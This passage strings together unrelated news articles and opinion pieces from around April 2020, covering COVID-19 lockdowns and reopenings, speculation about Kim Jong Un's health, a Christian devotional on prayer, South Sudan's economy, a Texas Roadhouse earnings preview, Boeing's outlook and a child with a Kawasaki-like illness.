when the new coronavirus was first reported in Wuhan, China. It has reported no cases of infection from the virus, a claim that experts dispute. However, longtime North Korea observers warn against fast judgements. Bruce Klingner is a North Korea expert at the Heritage Foundation in Washington. He said, Over the years, there have been many false reports exclaiming the decline health or death of Kim Jong Un. Andray Abrahamian, another North Korea expert, said that reasonable speculation about Kims health has turned into a lot of false reports and hyperbole. Im Mario Ritter, Jr. Bill Gallo reported this story for VOANEWS. Mario Ritter Jr. adapted it for VOA Learning English with additional information from the Associated Press. Ashley Thompson was the editor. ________________________________________________________________ Words in This Story rumor n. a story that could be true or false which is spread widely, but which comes from an unknown source vegetative adj. unresponsive, unable to communicate grave adj. very serious cane n. a short stick, often with a curved handle, that people use to help them walk lockdown n. a situation in an emergency in which people are required to stay in a secure place speculation n. ideas and guesses about something that is not known hyperbole n. a description of something that is either much better or much worse than it really is Email Whatsapp Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment If you wanted to have an important conversation with a friend, how would you go about it? What key ingredients would be necessary for a successful visit? Well for one thing, both of you would have to be involved in the dialogue. It wouldn't be a conversation if only one person was doing all of the talking, right? Now consider having a conversation with the Creator of the universe. Is that even possible? Of course. And just like other conversations, conversing with God involves both parties talking and both parties listening. God delivered 66 books to 40 different authors over a period of 1500 years. The Old Testament and the New Testament make up God's Word to His people. And thankfully, "All Scripture is God-breathed." (2 Timothy 3:16) In other words, "men spoke from God as they were carried along by the Holy Spirit." (2 Peter 1:21) When it comes to the Bible, you don't have to wonder if it truly came from God. Scripture is inspired and inerrant. And the Holy Spirit continues to speak to God's children today as we read the Word, listen to it being taught and preached, and meditate upon it. As we converse with God through prayer and Scripture, God speaks to our heart and mind. The Bible is essentially a "love-letter" from God to His children. If you desire to have regular conversations with the Lord, you will need to develop a hunger for Scripture. The prophet Jeremiah expressed his hunger this way: "When your words came, I ate them; they were my joy and my heart's delight." (Jeremiah 15:16) The only way to grow into spiritual maturity is to feed on God's Word, and then put it into practice. Peter wrote, "Like newborn babies, crave pure spiritual milk, so that by it you may grow up in your salvation, now that you have tasted that the Lord is good." (1 Peter 2:2,3) When a believer chooses to meditate upon Scripture, the door of communication with God is opened and various thoughts and insights begin to flow into your heart and mind. The Holy Spirit works through the Word to communicate the heart of God and the will of God to His children. The psalmist declared: "Your Word is a lamp to my feet and a light for my path." (Psalm 119:105) In other words, Scripture lights the way for our next step, as well as our ongoing life of discipleship. This journey for believers will of course culminate one day in Paradise. David declared: "You have made known to me the path of life; you will fill me with joy in your presence, with eternal pleasures at your right hand." (Psalm 16:11) And while on our way to heaven, the Lord desires to converse with His children everyday! When we pray to God, we are opening our heart and soul to the Lord. We do this by confessing our sins; praising the Lord's name; offering thanks for God's many blessings to us; and bringing our petitions to the Lord. Since prayer is such an important part of the Christian life, believers are instructed to "pray continually" (1 Thess. 5:17) as we engage in conversations with the Lord all day long. God wants to hear our prayers because He longs to have a close relationship with us. In the words of the psalmist: "My soul finds rest in God alone; my salvation comes from Him....Trust in Him at all times, O people; pour out your hearts to Him, for God is our refuge." (Psalm 62:1,8) When was the last time you poured out your heart to God? Now imagine doing this everyday, while also spending significant time everyday listening to God speak to you through His Word. Meditating upon Bible passages leads to new insights, clear guidance, tremendous encouragement, corrective wisdom, and a blessed assurance that "the blood of Jesus Christ cleanses us from all sin." (1 John 1:7) Conversing with God is a two-way street. Bible reading and Scripture meditation motivate us to pray, and prayer increases our desire to read more and more of God's love-letter to us. And once you get into this flow, it is so refreshing, delightful and invigorating. Jesus said, "If you remain in me and my words remain in you, ask whatever you wish, and it will be given you." (John 15:7) Just think about why this is the case. The more time we spend in God's Word, the stronger our faith becomes. And the stronger our faith becomes, the more answers to prayer we receive. We pray more frequently and with greater faith when we spend time in God's Word, whereas neglecting the Bible leads to a weak and ineffective prayer life. If we don't dive into God's Word everyday, we lose the motivation to pray continually and we lose the power to pray in faith. Jesus quoted this Old Testament passage: "Man does not live on bread alone, but on every word that comes from the mouth of God." (Matthew 4:4) Just as feeding our body enhances physical health, feeding our soul enhances spiritual health. Parents who love their children are thrilled to converse with them. Likewise, God loves to converse with His children. The Bible tells us that "Enoch walked with God," (Genesis 5:24) and "Noah walked with God." (Genesis 6:9) Can the same thing be said of us? Do you and I walk closely with the Lord everyday? Consider what could happen if these words from a well-known hymn and a familiar Bible passage became our life's refrain and our heart's highest aim: "Just a closer walk with Thee, Grant, it Jesus, is my plea, Daily walking close to Thee, Let it be, dear Lord, let it be." "As the deer pants for streams of water, so my soul pants for you, O God. My soul thirsts for God, for the living God. When can I go and meet with God?" (Psalm 42:1) The Holy Spirit longs to create this thirst within us on a continual basis. Will you and I call upon the Holy Spirit today and ask Him to fill us with more power for prayer, and a greater hunger for God's Word? As D.L. Moody said, "We have to be filled up with the Holy Spirit everyday because we are leaky vessels." And this is a big reason why Scripture and prayer are so foundational to living an effective and God-pleasing life of discipleship. You may find these two related articles I wrote to be helpful: "Eat Until You Are Hungry" and "Drink Until You Are Thirsty" Photo: The Canadian Press Speaker of the House of Commons Anthony Rota speaks during a virtual session of Parliament Tuesday April 28, 2020 in Ottawa. THE CANADIAN PRESS/Adrian Wyld Canada's first-ever virtual House of Commons kicked off this afternoon with almost 90 per cent of MPs dialed in to start. The House of Commons special committee on COVID-19 is meeting via videoconference this afternoon. Bloc Quebecois Leader Yves-Francois Blanchet said in his opening statement that he could see that 297 of the 338 MPs were online at that moment. The special committee was struck as a way to circumvent the rules that govern how official sittings must occur, while further discussions are held about whether those rules can be changed to allow virtual sittings of the House officially. Just as many Canadians have discovered moving in-person meetings to the virtual world, MPs experienced some technical glitches mostly with the audio. Some MPs couldn't figure out how to unmute themselves, others accidentally began to comment when they didn't mean to unmute. The biggest problem appeared to be with the translation, a glitch that continually had some MPs complaining they couldn't hear or that the translation was being played at the same volume as the actual speaker. Most MPs appeared good-humoured about the problems. Health Minister Patty Hajdu laughed at herself when she was unable to initially figure out how to unmute her microphone. Being outside the chamber brings its own host of issues, though thus far no children or pets have made an appearance. Blanchet did have to pause his opening speech because something in his office was ringing. He assured people it was not a fire alarm as he tried to find the source of the noise. Unlike the real House of Commons, Speaker Anthony Rota did not chastise him for the interruption. He did however chastise MPs he caught taking photos of their screens. Much like photos are not allowed to be taken during House or committee proceedings, Rota told them they are not to take photos of MPs on their screens. He said he knows it's a "historic" day but warned them not to post any photos they have taken on social media. While Rota and MPs can see squares of anyone who is dialed in, the public can only see the person who is speaking, which is similar to the way parliamentary sittings are broadcast in normal times. Hajdu was the first member of cabinet to issue a statement, thanking front-line and essential workers for their service, and Canadians for doing their part to help flatten the curve of the COVID-19 outbreak in Canada. "We are seeing hopeful evidence that Canada's COVID-19 epidemic is slowing down," she said. She said the length of time it is taking for the total number of confirmed cases to double, has gone from about three days in late March to more than 16 days now. However Hajdu said the outbreaks in long-term care homes are responsible for more than three-quarters of all deaths in Canada. "This is indeed a tragedy," she said. The rest of the afternoon is now reserved for questions from MPs to ministers, including Prime Minister Justin Trudeau, who is participating in the virtual committee meeting from his home office in Ottawa. BANGKOK - Surfers greeted a spectacular sunrise in Christchurch, construction workers purchased their favourite espresso coffees and some lawmakers returned to Parliament in New Zealands capital, Wellington, on Tuesday as some aspects of life began returning to normal. The country had been in a strict lockdown for over a month to prevent the spread of the coronavirus, but those conditions were eased a little on Tuesday to allow some parts of the economy to restart as new infections wane. Among those places to reopen were construction sites, as well as cafes and restaurants that sell takeaway coffees and food. People are still required to maintain social distancing and work from home if they can. New Zealand recorded three new cases of the coronavirus on Tuesday, bringing its confirmed total to 1,472, including 19 deaths. In other developments in the Asia-Pacific region: HUNDREDS HIT THE BEACH: Sydneys iconic Bondi Beach reopened to swimmers and surfers on Tuesday despite the area having Australias highest concentration of COVID-19 cases. People can only enter during daylight hours, cannot linger on the sand and are counted to ensure social distancing. Hundreds braved cool autumn weather to return to the water soon after the gates opened. A virus testing tent is nearby due to the high rate of infections, particularly among backpackers who often live in crowded conditions. VACCINE NEEDED BEFORE OLYMPICS: The head of Japans medical association said it will be difficult to hold the Olympics without coronavirus vaccines. I hope vaccines and drugs will be developed as soon as possible, Japan Medical Association President Yoshitake Yokokura said. The Tokyo 2020 Games have been rescheduled to July next year. Experts have said it could take two years or longer to develop a safe and effective vaccine. BANGLADESH SEES BIGGEST INCREASE: Bangladesh confirmed 549 new infections, its biggest one-day increase so far. The country has confirmed 6,462 cases, including 155 deaths. Bangladesh, a nation of 160 million people, is facing challenges in dealing with the coronavirus because of its fragile health care system. S. KOREA URGES COOPERATION WITH N. KOREA: South Korea has repeated calls for joint efforts with North Korea to fight the coronavirus. A South Korean presidential official, who spoke on condition of anonymity, citing protocol, said Tuesday that Seoul doesnt expect possible efforts to clash with sanctions against North Korea over its nuclear program. South Korean President Moon Jae-in said earlier that joint anti-virus efforts could provide a new opportunity for inter-Korean engagement. But the North has ignored the calls, saying there hasnt been a single virus case on its territory, a claim that is questioned by many outside experts. AP writer Kim Tong-hyung in Seoul JAPAN TO APPROVE ANTIVIRAL DRUG: Japan said it will approve remdecivir, a closely watched antiviral drug made by Gillead Sciences Inc., for the treatment of COVID-19 patients in the country. The drug is expected to be the first approved COVID-19 drug in Japan. Chief Cabinet Secretary Yoshihide Suga said Tuesday that Japan has been part of multinational testing of remdecivir and that it was moving ahead overseas. Japan has a fast-track permit for emergency use of drugs approved overseas. Remdecivir was originally developed to treat Ebola and has been also used for SARS and MERS, but is still under investigation for COVID-19. CHINA REJECTS INDEPENDENT PROBE: Chinas foreign ministry has dismissed Australias call for an independent inquiry into the coronavirus. Australias call for an investigation independent of the World Health Organization into the origin of the virus and WHOs handling of the pandemic is placing increasing strain on Australia-China relations. Chinese Ambassador Cheng Jingye angered Australia by warning in an interview that pursuing an inquiry could spark a Chinese consumer boycott of students and tourists visiting Australia as well as of sales of major exports including beef and wine. Australian Department of Foreign Affairs and Trade Secretary Frances Adamson responded by calling Cheng and expressing concerns about the interview. Chinas embassy on Tuesday said Cheng called on Australia to put aside ideological bias and stop political games during the phone conversation. CHINA SAYS UNFAIR TO CALL KITS FAULTY: The Chinese Embassy in India said Tuesday that it was unfair and irresponsible to label Chinese testing kits procured by India as faulty. On Monday, India cancelled orders to procure rapid antibody testing kits from two Chinese companies after quality issues and controversies over its price. The quality of medical products exported from China is prioritized. It is unfair and irresponsible for certain individuals to label Chinese products as faulty and look at issues with preemptive prejudice, said Chinese Embassy spokesperson Ji Rong said. HONG KONG REPORTS 3RD DAY WITH NO NEW CASES: Hong Kong reported no new coronavirus cases for a third straight day Tuesday and announced a resumption of public services next week and a relaxation of quarantine restrictions on travellers from mainland China. The eased quarantine will apply to students crossing the border daily to attend school in Hong Kong, and travellers deemed economically important to the city. However, an entry ban on non-residents flying into the city has been extended to June 7. MALAYSIAN BUSINESSES URGE REOPENING: Malaysian businesses have urged the government to end a weeks-long virus lockdown following a sharp decline in infections. Daily cases have dropped to double digits in the past two weeks with 31 new infections reported Tuesday, the lowest since a partial lockdown began March 18. Malaysia now has 5,851 cases with 100 fatalities. The Malaysian International Chamber of Commerce and Industry said the lockdown, which has been extended until May 12, should be lifted immediately to revive the economy and save jobs. SRI LANKAN GROWTH SINKS: Sri Lankas Central Bank said the countrys economic growth will sink to 1.5% in 2020 as the coronavirus deals a severe blow. Growth had already declined to 2.3% in 2019 from 3.3% a year earlier as Easter Sunday bomb attacks devastated tourism. Sri Lanka has been under a curfew since March 20 to contain the disease. With no clear sign that the lockdown will be lifted soon in West Bengal, the Mamata Banerjee government on Tuesday asked hospitals and medical colleges in the state to draw up blueprints to normalize services in a phased manner and cope with the evolving situation. As a part of the blueprint, all patients planning to undergo any kind of surgeries will now be first tested for Covid-19, a top official of the state health department said. While there is lack of clarity on when and how the lockdown will be lifted, it is certain that we will have to normalize hospital services in a phased manner, commensurate with the evolving situation. In view of the above, all principals, medical superintendents cum vice principals (MSVPs) of government medical colleges and hospitals, CMOHs and superintendents of government hospitals are hereby advised to draw up a blue print for the normalisation of hospital services, said an order issued by the state health department. Follow coronavirus latest updates here. The lockdown is scheduled to end on May 3. The flow of patients in the state-run hospitals and medical colleges has dwindled drastically during the lockdown and because of the increased flow of Covid-19 patients. At the Infectious Diseases hospital in Kolkata, the first hospital in south Bengal which started treating Covid-19 patients during the initial stages, the number of cases with serious dog bites (category II and III) has dropped from around 150 per day before the lockdown to around 10 to 15 at present. Earlier on an average we used to get around 5,000 patients at the OPD every day. Now we are getting around 600. Before lockdown at least 1,5002,000 patients used to stay in the hospital. Now there are only around 250 patients, said Indranil Biswas, medical superintendent and vice principal of Calcutta Medical College and Hospital. Chief minister Mamata Banerjee, after attending the video conference of Prime Minister Narendra Modi on Monday, had hinted that the Union government could extend the lockdown. As a part of the blueprint, all patients coming for surgeries will now have to undergo Covid-19 tests. If it is a planned surgery and the patient tests positive, the surgery will be delayed. In case of emergency the surgery will have to be done with full protection gear following all protocols, said a senior official of the state health department. This becomes all the more important because already two senior doctors have died while scores of frontline health care workers have either been detected with the virus or have been asked to go into quarantine after coming in contact with Covid-19 patients. This is a welcome move, because we need to test even asymptomatic patients. Many health care workers have been detected with the virus or have been quarantined. The state has not released any figures, said Dr S Mukherjee, a member of Joint Platform of Doctors in West Bengal. Bengal reported 28 new cases on Tuesday to take the total number of infections to 697. A total of 119 people have recovered while 22 have died so far. Authorities in Bengal have so far tested 13,223 people for Covid-19. SHARE THIS ARTICLE ON Belgians are being called upon to eat fries at least twice a week as more than 750,000 tons of potatoes are at risk of being thrown away. The coronavirus crisis has led to a surplus of potatoes in the small European country, as demand for frites a national dish of twice-fried potatoes often eaten in bars and restaurants has slumped amid Belgium's government-enforced lockdown. Speaking to CNBC in a phone call on Monday, Romain Cools, secretary general of Belgian potato industry body Belgapom, said around 750,000 tons of potatoes enough to fill 30,000 big lorries would probably not be processed because of the pandemic. The issue was largely down to a fall in demand in the frozen potato sector, which accounts for around 75% of Belgium's potato processing, he said. As inventories built up, freezer capacity was being squeezed. In order to mitigate the problem, Belgapom was appealing to Belgians to up their weekly intake of fries. "We're working with supermarkets to see whether we can launch a campaign asking Belgians to do something for the sector by eating fries especially frozen fries twice a week during the coronavirus crisis," Cools said. "What we are trying to do is to avoid food waste, because every lost potato is a loss." The remaining 25% of the industry, which includes the production of fresh potatoes and snack products, was doing fairly well amid the lockdown, Cools noted, as more people were cooking and snacking at home. Belgium's government implemented a nationwide state of lockdown on March 18 in a bid to slow the spread of the coronavirus. To date, the country has had 46,687 confirmed cases of Covid-19 and 7,207 deaths, according to data from Johns Hopkins University. On Friday, Belgian Prime Minister Sophie Wilmes announced that the government would ease the lockdown in three stages, beginning with the opening of some businesses on May 4 but cafes and restaurants will not be allowed to reopen until June 8. The bad news? Youve just been diagnosed with cancer. The worse news? The countrys in the middle of a pandemic and you cant connect with your oncologist. Thankfully, there is good news. Dozens of people are ready and waiting to answer every single question you have about your cancer diagnosis, treatment plan, therapy and recovery, and theyll help you navigate the changes wrought by the current COVID-19 pandemic. These trained professionals wont charge you a dime, they wont capture (and sell) your data for their own purposes and theyll spend as much time with you as you need, in English or in Spanish. Whats more, you dont even have to leave your house to connect with them. Who are these people? Theyre the Cancer Information Specialists at the federally-funded National Cancer Institute Contact Center at 1.800.4.CANCER, otherwise known as the Cancer Information Service, your tax dollars at work. Were here to be of value to the public, of value to the NCI, said Dawn Sittauer, a 30-year veteran of this NCI service and current program director of the CIS, which is operated via a government contract through Fred Hutchinson Cancer Research Center in Seattle. Taxpayers are our stakeholders. We serve them to the best of our ability always. Diversity Of Economy A Strategic Focus For South Sudan "South Sudan is rich with natural resources such as energy, mining, fertile land, water, forestry, fisheries, and livestock". By Ater Yuot Riak, Ph.D. Diversity of economy has been a wide intensity debate for long. Currently, oil revenue makes up 98% of the countrys national budget. Current very low demand dropped crude prices badly and South Sudan economy will be hard hit. This is not the first time oil prices have fluctuated. It happens from time to time due to a certain circumstance such as coronavirus pandemic. Thus, it is a time for South Sudan to think strategically and stabilize the economy by developing other sectors. South Sudan is rich with natural resources such as energy, mining, fertile land, water, forestry, fisheries, and livestock. There are mineral resources such as gold, iron and copper in greater Equatoria and greater Bahr el Ghazal. Different types of crops, vegetables and fruits, oil seeds and palm seeds, are available in all the states. Tea, coffee, tobacco, teak and mahogany wood are available in Greater Equatoria and Greater Baher el Ghazal. Further more, acacia (gum Arabic) cotton crop, livestock, fish, poultry and bee keeping for honey production are available throughout the country. All these available resources potentialized various industry opportunities in the country. Food production, from drinking water and other soft drinks to alcoholic drinks, fruit and vegetable industries can be established. In addition, dairy, meat, fish production are other industry opportunities. Mining and chemical based industries can be built to produce cooking oil, soap and flour. In the operational oilfields areas, the petrochemical industries for olefins (including ethylene and propylene) and aromatics (including benzene, toluene and xylene isomers) can also be established. The Kenaf industry is suggested for packaging materials production, paper production from papyrus in Sudd area, cotton textile and sugarcane industries. Horns, hooves, skins, and leather production, animal feeds mills and veterinary pharmaceutical industries can be established in the biggest towns of South Sudan. Fabrication of doors and windows frames, gates shelves and production of metal water tanks can be produced. Tourism industry is also another area of interest, for instance, in Nimule, Sudd area and other places throughout the country. Industrialization cannot be then achieved without a proper access to energy. For instance, the available hydropower, biomass and solar energy resources can be used to generate electricity. The hydropower sites are found mostly in Equatoria to Baher el Ghazal States. Crude oil from oil producing areas is another viable source for electricity generation. The current electric power is supplied by diesel based generation which characterized with poor infrastructure, lack of spare parts, maintenance and lack of technical persons. Fula dam near Numlei town, is the biggest potential project to generate electricity with capacity of more than 500 MW. However, there is a hydro site near Juba with estimated capacity of around 130 MW and this could be used to improve electricity service in the city. An account under direct supervisory of the president of the republic might be created for this purpose. Therefore, allocation portion of oil money to start these industries will guarantee the strongest and stable economy of the country. The proposed industries create economic opportunities for the entire people of South Sudan. The willingness of the people of each State to utilize the resources is the biggest support to themselves and to their States. Finally, I have an opinion I must say, if the idea of enhancing all our natural resources in such a manner that we established industries that generate income more than oil money, why not keep that crude oil in the ground? In other words, this oil itself brings along insecurity and environmental impacts to human. E-mail: ater.amogpai@gmail.com Kim Jong-uns unexplained absence from a key holiday in North Korea could be due to him being afraid of contracting coronavirus, a South Korean minister has suggested. Speculation about the North Korean leaders whereabouts and health is rife after he did not attend state ceremonies marking the 15 April birth anniversary of his grandfather and founder of the county, Kim II Sung. Kim Yeon-chul, South Koreas unification minister, said it was plausible Mr Kim decided against attending the events because of Covid-19 and the stringent steps his government has taken to prevent an outbreak. It is true that he had never missed the anniversary for Kim Il Sungs birthday since he took power, but many anniversary events including celebrations and a banquet had been cancelled because of coronavirus concerns, the minister said. I dont think thats particularly unusual given the current situation [of the pandemic]. He also noted that there were at least two instances since mid-January when Mr Kim had not been seen for nearly 20 days. Official media in North Korea has not reported on Mr Kims whereabouts since 11 April, when he presided over a meeting, but there have been near-daily reports of him sending letters and diplomatic messages. The country has cancelled some large events and imposed a border lockdown and quarantine measures in an effort to stop the virus spreading. Officials in South Korea have so far cautioned against reports suggesting the North Korean leader may be ill and said they had not detected any unusual movements from the country. On Saturday, Reuters reported that China had sent a team, including medical experts, to North Korea to advise on Mr Kim, citing three people familiar with the situation. However it was unclear what, if anything, was wrong with him. Kim Yeon-chul has described reports about a Chinese medical team travelling to the country and articles claiming Mr Kim had undergone a heart procedure as fake news. Donald Trump said on Monday he had a good idea how Mr Kim was doing and hoped he was fine without elaborating on what he knew, while Shinzo Abe, Japans prime minister, said he was paying close attention to developments. With no obvious successor in the country, any change of leadership in North Korea would raise concerns about the potential for a period of instability which could impact other North Asian countries and the US. Chad OCarroll, the CEO of Korea Risk Group, suggested it would be damaging for Mr Kim if it was revealed that he was hiding out due to fears about Covid-19. This would puncture a hole in the state media narrative of how this crisis has been perfectly managed, Mr OCarroll said. If he is merely trying to avoid infection, it should theoretically be very easy to release photos or videos of a healthy-looking Kim, he added. A source familiar with US intelligence reporting told Reuters it was possible Mr Kim had disappeared from public view to avoid the virus and he could be staying in the coastal resort area of Wonsan. However, with no clear evidence to support either conclusion, US agencies are still considering the possibility that Mr Kim might be ill, the source said. Additional reporting by Reuters Districts are also feeling the economic impact of the pandemic, anticipating huge budget shortfalls. And teachers are eager to return to the classroom, saying they miss the energy of real-world interaction with students. Then there are the educational concerns. To make up for lost classroom time, schools may need to provide remedial instruction, additional special-education services and counseling, said Robin Lake, director of the Center on Reinventing Public Education. Policy experts are also debating whether students who lag behind in key skills should be held back a grade, or advanced with extra catch-up support. Mayor Bill de Blasio of New York City, who announced this month that the citys 1.1 million students would not return to classrooms until September, has said that many children will have to make up for months of lost learning despite the citys shift to remote instruction. But there is also a pervasive fear about what it would mean to bring students and teachers back together too quickly, given all that is unknown about how the virus spreads. Forcing educators to work at a perceived risk to their own health could be not only a public health danger but also a recipe for labor unrest in a heavily unionized sector. Janet Robinson, superintendent of Stratford Public Schools in Connecticut, said she was horrified to hear the president urging schools to open. Students in her district were among the first children in the state to test positive. Her staff, including teachers who are cancer survivors, are worried about being rushed back into the classroom. I saw the president say, the kids dont get sick, Ms. Robinson said. Well, theyre not in there all by themselves. And Id hate for a little kid to come into the building, get the virus, and take it home. Then wed start this thing all over again. Chennai, April 28 : Tamil Nadu on Tuesday reported 121 persons more testing positive for coronavirus, taking the state's total tally beyond 2,000 to 2,058 and the death of one more person, taking the toll to 25. In a statement issued here, the Health Department also said that 27 Covid-19 patients were discharged from various hospitals in the state. With this, the total number patients discharged goes up to 1,128. A total of 103 of the new Covid-19 patients are from Chennai, taking the total number in the state capital to 673. The latest fatality was a 68-year-old male who breathed his last at a private hospital. Tamil Nadu Chief Minister K.Palaniswami lamented that the people are not realising the danger of coronavirus infection, terming crowding at vegetable shops in major cities like Chennai, Coimbatore and others a major issue. He said television showed the huge death toll due to Covid-19 in several foreign countries when the people did not follow the social distancing norms, but when people there realised the importance of following the guidelines, the number of people getting infected has come down. Palaniswami said the Coronavirus is in the beginning stages in the state and the spread can be curtailed if people follow the guidelines. In order to prevent crowding at Koyambedu market, the government banned retail sales of vegetables fruits and flowers there and now, retail sales of vegetables and fruits will be allowed at play grounds and bus stations. Meanwhile, a male Covid-19 patient who sneaked out of the Rajiv Gandhi Government General Hospital here was brought back to the ward on Tuesday morning, said an official. The patient had escaped from the hospital on Monday night and reached his home on foot. Alerted by the hospital staff, Health Department officials went to his home and convinced him to return to the hospital for treatment. Latest updates on Coronavirus (COVID-19) Wall Street expects a year-over-year decline in earnings on higher revenues when Texas Roadhouse (TXRH) reports results for the quarter ended March 2020. While this widely-known consensus outlook is important in gauging the company's earnings picture, a powerful factor that could impact its near-term stock price is how the actual results compare to these estimates. The stock might move higher if these key numbers top expectations in the upcoming earnings report, which is expected to be released on May 4. On the other hand, if they miss, the stock may move lower. While management's discussion of business conditions on the earnings call will mostly determine the sustainability of the immediate price change and future earnings expectations, it's worth having a handicapping insight into the odds of a positive EPS surprise. Zacks Consensus Estimate This restaurant chain is expected to post quarterly earnings of $0.47 per share in its upcoming report, which represents a year-over-year change of -32.9%. Revenues are expected to be $697.26 million, up 1% from the year-ago quarter. Estimate Revisions Trend The consensus EPS estimate for the quarter has been revised 222.8% lower over the last 30 days to the current level. This is essentially a reflection of how the covering analysts have collectively reassessed their initial estimates over this period. Investors should keep in mind that an aggregate change may not always reflect the direction of estimate revisions by each of the covering analysts. Price, Consensus and EPS Surprise Earnings Whisper Estimate revisions ahead of a company's earnings release offer clues to the business conditions for the period whose results are coming out. This insight is at the core of our proprietary surprise prediction model -- the Zacks Earnings ESP (Expected Surprise Prediction). The Zacks Earnings ESP compares the Most Accurate Estimate to the Zacks Consensus Estimate for the quarter; the Most Accurate Estimate is a more recent version of the Zacks Consensus EPS estimate. The idea here is that analysts revising their estimates right before an earnings release have the latest information, which could potentially be more accurate than what they and others contributing to the consensus had predicted earlier. Story continues Thus, a positive or negative Earnings ESP reading theoretically indicates the likely deviation of the actual earnings from the consensus estimate. However, the model's predictive power is significant for positive ESP readings only. A positive Earnings ESP is a strong predictor of an earnings beat, particularly when combined with a Zacks Rank #1 (Strong Buy), 2 (Buy) or 3 (Hold). Our research shows that stocks with this combination produce a positive surprise nearly 70% of the time, and a solid Zacks Rank actually increases the predictive power of Earnings ESP. Please note that a negative Earnings ESP reading is not indicative of an earnings miss. Our research shows that it is difficult to predict an earnings beat with any degree of confidence for stocks with negative Earnings ESP readings and/or Zacks Rank of 4 (Sell) or 5 (Strong Sell). How Have the Numbers Shaped Up for Texas Roadhouse? For Texas Roadhouse, the Most Accurate Estimate is lower than the Zacks Consensus Estimate, suggesting that analysts have recently become bearish on the company's earnings prospects. This has resulted in an Earnings ESP of -18.24%. On the other hand, the stock currently carries a Zacks Rank of #3. So, this combination makes it difficult to conclusively predict that Texas Roadhouse will beat the consensus EPS estimate. Does Earnings Surprise History Hold Any Clue? Analysts often consider to what extent a company has been able to match consensus estimates in the past while calculating their estimates for its future earnings. So, it's worth taking a look at the surprise history for gauging its influence on the upcoming number. For the last reported quarter, it was expected that Texas Roadhouse would post earnings of $0.52 per share when it actually produced earnings of $0.61, delivering a surprise of +17.31%. Over the last four quarters, the company has beaten consensus EPS estimates three times. Bottom Line An earnings beat or miss may not be the sole basis for a stock moving higher or lower. Many stocks end up losing ground despite an earnings beat due to other factors that disappoint investors. Similarly, unforeseen catalysts help a number of stocks gain despite an earnings miss. That said, betting on stocks that are expected to beat earnings expectations does increase the odds of success. This is why it's worth checking a company's Earnings ESP and Zacks Rank ahead of its quarterly release. Make sure to utilize our Earnings ESP Filter to uncover the best stocks to buy or sell before they've reported. Texas Roadhouse doesn't appear a compelling earnings-beat candidate. However, investors should pay attention to other factors too for betting on this stock or staying away from it ahead of its earnings release. Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report Texas Roadhouse, Inc. (TXRH) : Free Stock Analysis Report To read this article on Zacks.com click here. Key independent senator Jacqui Lambie wants the JobSeeker payment to be permanently increased after the coronavirus pandemic is over, telling the government to look at the economic evidence. Retaining the current doubling of JobSeeker would roughly cost about $1 billion to $2 billion a month at a 10 per cent unemployment rate, but a leading economist and social services groups say the case for a permanent lift is clear. This rise wouldn't necessarily be a doubling but would be more than the $565 fortnightly payments. Independent Senator Jacqui Lambie is among those supportive of retaining an increase to the dole. Credit:Alex Ellingausen While the boost to JobSeeker was intended to be strictly time-limited to help households manage through the pandemic, Senator Lambie warned the government would "look pretty heartless" if it immediately took away the extra $550 a fortnight from those left unemployed. JobSeeker, which replaced Newstart this year, is worth $565.70 a fortnight for a single person and up to $612 for a single parent. The amount was almost doubled by the Morrison government in March because of the coronavirus pandemic as many more Australians found themselves out of work owing to shutdowns. These restrictions are now starting to slowly be lifted across the country. With airlines around the world grounded due to border control measures put in place to contain coronavirus, Boeings chief executive said that the air traffic may not bounce back for two or three years to the pre-pandemic levels. Speaking at an annual meeting, Boeing CEO David Calhoun presented a sober outlook of the aviation industry and predicted that it could take three to five years to restore the companys dividend. The airline industry has been hit hard by the pandemic and Boeing, which was already under pressure with two aircraft crashes, has reportedly decided to cut on its workforce of civil aviation unit by 10 per cent. The aerospace company assembles most of its civilian aircraft in Washington state, where more than 70,000 workers work, and the layoff could affect around 7,000 employees. Calhoun said that it is difficult to estimate when the situation will stabilise due to the unpredictable and fast-changing environment owing to the coronavirus crisis. He added that the commercial market will be smaller after the resumption of airline service and customers needs will be different. Read: Boeing Plans To Reduce Workforce In Civil Aviation Unit: Report Letter to employees Recently, the company chief wrote a letter to Boeing employees regarding US government support for airlines and the aerospace industry. Calling it a step on the long road to recovery, Calhoun said that the US government and 10 airlines agreed on a $25 billion package of support. Read: Boeing Ends Its Deal With Brazilian Jet Maker Embraer Boeing CEO highlighted the importance of the support package saying the relief provided by the government is vital to maintaining the aviation pillar of the US economy, even if full recovery will take years, not months. Calhoun added that the airlines have been witnessing an unprecedented crisis and the global airline revenues are set to drop by a total of $314 billion by the end of the year. Our industry will need the governments support, which will be critical to ensuring access to credit markets and likely take the form of loans versus outright grants, wrote Calhoun in the letter published on Boeings website. Read: Boeing Reveals Voluntary Layoff Plan For Employees Amid Coronavirus Crisis Read: World Struggling With Coronavirus, China Now Talks With Boeing About Aircraft Orders (Image credit: AP) Advertisement A 13-year-old boy has been left fighting for his life with coronavirus after developing inflammatory symptoms including bloodshot eyes and rashes. Lewis Greig, from Torry, Aberdeen, has been on a ventilator at the Royal Hospital for Children, Glasgow, after he fell ill last week with a high temperature. Mother Karen Simpson said the family had been assured he did not have COVID-19 as he did not have a dry cough. But Lewis's condition worsened with other symptoms, including a measles-like rash, red swollen eyes and vomiting. It comes after the NHS warned there was 'growing concern' a coronavirus-related inflammatory syndrome was emerging, which experts fear may be a complication of the deadly coronavirus. Medics were earlier this week issued an urgent alert about a sharp rise in the number of infants being admitted to intensive care with a Kawasaki-like disease and told to be mindful of symptoms like Lewis's. Health chiefs yesterday insisted they are 'unaware' of any deaths in British children from a serious 'inflammatory syndrome' thought to be linked to the coronavirus - despite Matt Hancock admitting that 'some' youngsters have mysteriously died with no underlying conditions. Officials have refused to say how many British children have been affected by the illness but up to 20 have fallen critically unwell, according to reports. One child needed to be put on a form of life support after their heart and lungs began to fail. The majority of the patients are thought to be under the age of five. Lewis Greig, from Torry, Aberdeen, has been on a ventilator at the Royal Hospital for Children, Glasgow, after he suddenly became unwell last week with a high temperature (pictured: Lewis, left, and the rash which appeared on his hand, right) WHAT IS KAWASAKI DISEASE? KAWASAKI DISEASE Kawasaki disease is a condition that causes inflammation in the walls of the blood vessels and affects mostly children under five years old. The inflammation can weaken the coronary arteries, which supply the heart with blood. This can lead to aneurysms and heart attacks. The condition affects eight children out of every 100,000 and statistics show it is fatal in three per cent of cases that go untreated. WHAT SYMPTOMS DOES IT CAUSE? The symptoms of Kawasaki disease usually develop in three phases over a six-week period, according to advice on the NHS' website. The first signs are a fever and a rash in the first few 